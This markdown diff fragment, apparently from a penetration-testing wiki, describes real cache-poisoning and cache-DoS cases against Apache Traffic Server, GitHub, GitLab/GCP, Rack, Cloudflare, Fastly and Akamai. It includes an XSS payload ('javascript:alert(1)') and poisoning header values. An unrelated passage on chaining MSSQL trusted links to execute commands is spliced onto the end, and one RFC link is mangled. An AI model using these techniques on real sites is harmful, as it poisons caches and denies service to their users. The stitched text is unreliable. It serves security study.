+## Vulnerable Examples
+
+### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
+
+ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key did't have the payload inside of it, only host, path and query.
+
+### GitHub CP-DoS
+
+Sending a bad value in the content-type header triggered a 405 response that was cached. The cache key contained the cookie so it was possible only to attack unauth users.
+
+### GitLab + GCP CP-DoS
+
+GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`.
+
+### Rack Middleware (Ruby on rails)
+
+Ruby on Rails applications are often deployed alongside the Rack middleware. The Rack code below takes the value of the **`x-forwarded-scheme` value and uses it as the scheme of the request**.
+
+![](<../.gitbook/assets/image (159).png>)
+
+Sending the `x-forwarded-scheme: http` header would result into a 301 redirect to the same location which will cause a DoS over that resource as in this example:
+
+![](<../.gitbook/assets/image (166).png>)
+
+The application might also support the header `X-forwarded-host` and redirect the user to that host, making possible to load javascripts files from the attacker server:
+
+![](<../.gitbook/assets/image (157).png>)
+
+### 403 and Storage Buckets
+
+**Cloudflare** used to **cache** the **403 responses**, therefore sending **bad Authorization** headers trying to access **S3** or **Azure Storage Blobs** exposed will return a 403 that will be cached. Cloudflare no longer caches 403 responses but this might work with other proxies.
+
+![](<../.gitbook/assets/image (171).png>)
+
+### Injecting Keyed Parameters
+
+Quite often, caches are configured to **only include specific GET parameters in the cache key**.
+
+For example, Fastly using Varnish **cached the `size` parameter** in the request but if you sent **also** the **`siz%65`** parameter with a bad value, the **cache key** was constructed with the **well written size param**, but the **backend** used the **value inside the URL encoded param**.
+
+![](<../.gitbook/assets/image (180).png>)
+
+URL encoding the second `size` parameter caused it to be ignored by the cache, but used by the backend. Giving the parameter a value of 0 would result in a cacheable 400 Bad Request.
+
+### User Agent Rules
+
+Due to the high amount of traffic tools like FFUF or Nuclei generate, some developers decided to block reqeusts matching their user-agents. Ironically, these tweaks can introduce unwanted cache poisoning DoS opportunities.
+
+![](<../.gitbook/assets/image (167).png>)
+
+I found this worked on multiple targets, with user-agents from different tools or scanners.
+
+### Illegal Header Fields
+
+The header name format is defined in [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) as follows:
+
+![](<../.gitbook/assets/image (175).png>)
+
+In theory, if a header name contains characters other than the ones listed in **tchar** it should be rejected with a 400 Bad request. In practice however, servers don't always respect the RFC. The easiest way to exploit this nuance, was by targeting Akamai which doesn't reject invalid headers, but forwards them and caches any 400 error as long the cache-control header is not present.
+
+![](<../.gitbook/assets/image (163).png>)
+
+Sending a header containing an illegal character, `\` would cause a cacheable 400 Bad Request error. This was one of the most commonly identified patterns throughout my testing.

 If a user has privileges to **access MSSQL instances**, he could be able to use it to **execute commands** in the MSSQL host (if running as SA).\
 Also, if a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
 
 **The links between databases work even across forest trusts.**
